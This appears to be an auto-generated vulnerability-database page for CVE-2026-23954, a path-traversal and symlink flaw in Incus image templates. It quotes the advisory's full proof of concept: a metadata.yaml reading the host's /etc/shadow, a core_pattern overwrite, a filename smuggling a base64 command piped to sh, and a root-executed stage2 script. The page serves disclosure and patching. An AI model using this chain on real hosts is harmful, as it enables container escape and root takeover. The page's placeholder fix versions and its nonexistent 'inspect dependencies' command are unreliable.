CVE-2026-23954: Github.com/lxc/incus/v6/cmd/incusd Incus Container Image Templating Arbitrary Vulnerability

HIGH
Advisory Identifier: GHSA-7f67-crqm-jgh7
CVSS 8.7
CWE-22
Published
Advisory Summary

CVE-2026-23954 is a HIGH (CVSS 8.7) incus container image templating arbitrary vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/lxc/incus/v6/cmd/incusd libraries in the Go ecosystem. The issue involves incus container image templating arbitrary host file read and write. Remediation is available in the latest vendor maintenance releases.

CVE-2026-23954 at a Glance

CVE Identifier CVE-2026-23954
GHSA Identifier GHSA-7f67-crqm-jgh7
Severity HIGH
CVSS v3.1 Base Score 8.7
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Github.com/lxc/incus/v6/cmd/incusd
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).

Attack Vector Adjacent (AV:A)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-23954

To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v6/cmd/incusd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lxc/incus/v6/cmd/incusd fixed: Latest secure release
Upgrade github.com/lxc/incus/v6/cmd/incusd to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lxc/incus/v6/cmd/incusd

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-23954, inspect your project dependencies for Github.com/lxc/incus/v6/cmd/incusd:

inspect dependencies for github.com/lxc/incus/v6/cmd/incusd

Analyze the terminal output to locate any version of Github.com/lxc/incus/v6/cmd/incusd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/lxc/incus/v6/cmd/incusd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A user with the ability to launch a container with a custom image (e.g a member of the ‘incus’ group) can use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write, ultimately resulting in arbitrary command execution on the host. This can also be exploited in IncusOS. ### Details When using an image with a `metadata.yaml` containing templates, both the source and target paths are not checked for symbolic links or directory traversal. [1] [2] For example, the following `metadata.yaml` snippet can read an arbitrary file from the host root filesystem as root, and place it inside the container: ``` templates: /shadow: when: - start template: ../../../../../../../../etc/shadow ``` Additionally, the path of the target of the template is not checked or opened safely, and can therefore contain symbolic links pointing outside the container root filesystem. For example: ``` templates: /realroot/proc/sys/kernel/core_pattern: when: - start template: core_pattern.tpl ``` Where the container root filesystem contains a symbolic link named `/realroot` pointing to `/`. This will cause the contents of the template (from the normal "templates" directory in this case) to be written to the host root filesystem as root. This can be exploited to achieve arbitrary command execution on the host by overwriting key files. In the provided proof of concept, I am overwriting `/proc/sys/kernel/core_pattern`, followed by causing a crash inside the container once launched to execute arbitrary commands on the host. Many other methods are possible depending on the host operating system and configuration. This vulnerability can be exploited by any user who can launch a new container with a custom image. Exploiting this vulnerability on IncusOS requires a slight modification of stage2 to change to a different writable directory for the validation step (e.g /tmp). This can be confirmed with a second container with `/tmp` mounted from the host (A privileged action for validation only). [1] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7215 [2] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7294 ### PoC A proof of concept script for the following can be found attached, named `template_arbitrary_write.sh`, which will show reading of a file from the host filesystem (`/etc/shadow`), as well as a method for escaping from the container to achieve arbitrary command execution, which will write a file to the root filesystem (`/template_arbitrary_write_cmd_exec_poc`). Manual Reproduction steps: 1. Obtain and unpack a legitimate root filesystem (e.g alpine/edge) into a directory named rootfs 2. Inside the unpacked root filesystem, create a symbolic link named ‘realroot’ (i.e `ln -s / rootfs/realroot`) 3. Create a directory named “templates” alongside the rootfs directory. Include a file `core_pattern.tpl` containing `|/bin/sh -c "%E"` 4. Additionally, add files segfault.c and stage2 to the root filesystem (listed below), setting stage2 executable (`chmod +x rootfs/stage2` 5. Create a `metadata.yaml` for this image. Sample listed below 6. Create the image archive (`tar cf poc.tar *`) and import into incus (`incus image import poc.tar --alias poc`) 7. Launch the newly imported image and obtain a shell (`incus launch poc poc --ephemeral; incus shell poc`) 8. Observe that the file `/shadow` inside the container contains the contents of the `/etc/shadow` file from the host (host file read vulnerability) 9. Compile `segfault.c` into a file named `x$(echo L3Zhci9saWIvaW5jdXMvY29udGFpbmVycy8qL3Jvb3Rmcy9zdGFnZTIK|base64 -d|sh)`. This filename will be interpolated into the `%E` value set in the `core_pattern` by the host file write vulnerability, and will find and execute the stage2 binary inside the container rootfs. 10. Execute the compiled binary (e.g `/x*`). Observe the creation of the file `/template_arbitrary_write_cmd_exec_poc` on the host, containing the output of 'id' showing command execution by the host root user. segfault.c: ``` int main() { int *p = 0; *p = 42; return 0; } ``` stage2: ``` #!/bin/sh id > /template_arbitrary_write_cmd_exec_poc ``` metadata.yaml: ``` architecture: x86_64 creation_date: 1 properties: architecture: amd64 description: Exploit os: Exploit release: Exploit 1.0 templates: /shadow: when: - start template: ../../../../../../../../etc/shadow /realroot/proc/sys/kernel/core_pattern: when: - start template: core_pattern.tpl ``` ### Impact A user with the ability to launch a container with a custom image can achieve arbitrary command execution on the host. ### Attachments [template_arbitrary_write.sh](https://github.com/user-attachments/files/24473599/template_arbitrary_write.sh) [templates_arbitrary_write.patch](https://github.com/user-attachments/files/24473601/templates_arbitrary_write.patch)

CVE-2026-23954 Affected Github.com/lxc/incus/v6/cmd/incusd Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lxc/incus/v6/cmd/incusd
Go

References

Frequently Asked Questions

What is CVE-2026-23954?
CVE-2026-23954 is a security vulnerability in Github.com/lxc/incus/v6/cmd/incusd involving Incus container image templating arbitrary host file read and write under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Github.com/lxc/incus/v6/cmd/incusd versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/lxc/incus/v6/cmd/incusd.
What version fixes CVE-2026-23954?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lxc/incus/v6/cmd/incusd affected?
Yes, github.com/lxc/incus/v6/cmd/incusd is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-23954?
CVE-2026-23954 has a CVSS v3.1 base score of 8.7 (HIGH) with vector string CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-23954?
CVE-2026-23954 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-23954?
Run the dependency tree command: 'inspect dependencies for github.com/lxc/incus/v6/cmd/incusd'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7f67-crqm-jgh7",
  "modified" : "2026-03-27T22:14:24Z",
  "published" : "2026-01-22T20:26:10Z",
  "aliases" : [ "CVE-2026-23954" ],
  "summary" : "Incus container image templating arbitrary host file read and write",
  "details" : "### Summary\nA user with the ability to launch a container with a custom image (e.g a member of the ‘incus’ group) can use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write, ultimately resulting in arbitrary command execution on the host. This can also be exploited in IncusOS.\n\n### Details\nWhen using an image with a `metadata.yaml` containing templates, both the source and target paths are not checked for symbolic links or directory traversal. [1] [2] For example, the following `metadata.yaml` snippet can read an arbitrary file from the host root filesystem as root, and place it inside the container:\n\n```\ntemplates:\n  /shadow:\n    when:\n      - start\n    template: ../../../../../../../../etc/shadow\n```\n\nAdditionally, the path of the target of the template is not checked or opened safely, and can therefore contain symbolic links pointing outside the container root filesystem. For example:\n\n```\ntemplates:\n /realroot/proc/sys/kernel/core_pattern:\n    when:\n      - start\n    template: core_pattern.tpl\n```\n\nWhere the container root filesystem contains a symbolic link named `/realroot` pointing to `/`. This will cause the contents of the template (from the normal \"templates\" directory in this case) to be written to the host root filesystem as root.\n\nThis can be exploited to achieve arbitrary command execution on the host by overwriting key files. In the provided proof of concept, I am overwriting `/proc/sys/kernel/core_pattern`, followed by causing a crash inside the container once launched to execute arbitrary commands on the host. Many other methods are possible depending on the host operating system and configuration.\n\nThis vulnerability can be exploited by any user who can launch a new container with a custom image.\n\nExploiting this vulnerability on IncusOS requires a slight modification of stage2 to change to a different writable directory for the validation step (e.g /tmp). This can be confirmed with a second container with `/tmp` mounted from the host (A privileged action for validation only).\n\n\n[1] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7215\n[2] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7294\n\n### PoC\nA proof of concept script for the following can be found attached, named `template_arbitrary_write.sh`, which will show reading of a file from the host filesystem (`/etc/shadow`), as well as a method for escaping from the container to achieve arbitrary command execution, which will write a file to the root filesystem (`/template_arbitrary_write_cmd_exec_poc`).\n\nManual Reproduction steps:\n\n1. Obtain and unpack a legitimate root filesystem (e.g alpine/edge) into a directory named rootfs\n2. Inside the unpacked root filesystem, create a symbolic link named ‘realroot’ (i.e `ln -s / rootfs/realroot`)\n3. Create a directory named “templates” alongside the rootfs directory. Include a file `core_pattern.tpl` containing `|/bin/sh -c \"%E\"`\n4. Additionally, add files segfault.c and stage2 to the root filesystem (listed below), setting stage2 executable (`chmod +x rootfs/stage2`\n5. Create a `metadata.yaml` for this image. Sample listed below\n6. Create the image archive (`tar cf poc.tar *`) and import into incus (`incus image import poc.tar --alias poc`)\n7. Launch the newly imported image and obtain a shell (`incus launch poc poc --ephemeral; incus shell poc`)\n8. Observe that the file `/shadow` inside the container contains the contents of the `/etc/shadow` file from the host (host file read vulnerability)\n9. Compile `segfault.c` into a file named `x$(echo L3Zhci9saWIvaW5jdXMvY29udGFpbmVycy8qL3Jvb3Rmcy9zdGFnZTIK|base64 -d|sh)`. This filename will be interpolated into the `%E` value set in the `core_pattern` by the host file write vulnerability, and will find and execute the stage2 binary inside the container rootfs.\n10. Execute the compiled binary (e.g `/x*`). Observe the creation of the file `/template_arbitrary_write_cmd_exec_poc` on the host, containing the output of 'id' showing command execution by the host root user.\n\nsegfault.c:\n```\nint main() {\n    int *p = 0;\n    *p = 42;\n    return 0;\n}\n```\n\nstage2:\n```\n#!/bin/sh\nid > /template_arbitrary_write_cmd_exec_poc\n```\n\nmetadata.yaml:\n```\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  architecture: amd64\n  description: Exploit\n  os: Exploit\n  release: Exploit 1.0\ntemplates:\n  /shadow:\n    when:\n      - start\n    template: ../../../../../../../../etc/shadow\n\n  /realroot/proc/sys/kernel/core_pattern:\n    when:\n      - start\n    template: core_pattern.tpl\n```\n\n### Impact\nA user with the ability to launch a container with a custom image can achieve arbitrary command execution on the host.\n\n### Attachments\n[template_arbitrary_write.sh](https://github.com/user-attachments/files/24473599/template_arbitrary_write.sh)\n[templates_arbitrary_write.patch](https://github.com/user-attachments/files/24473601/templates_arbitrary_write.patch)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v6/cmd/incusd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 6.21.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-7f67-crqm-jgh7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23954"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7215"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7294"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/user-attachments/files/24473599/template_arbitrary_write.sh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/user-attachments/files/24473601/templates_arbitrary_write.patch"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-22T20:26:10Z",
    "nvd_published_at" : "2026-01-22T22:16:20Z"
  }
}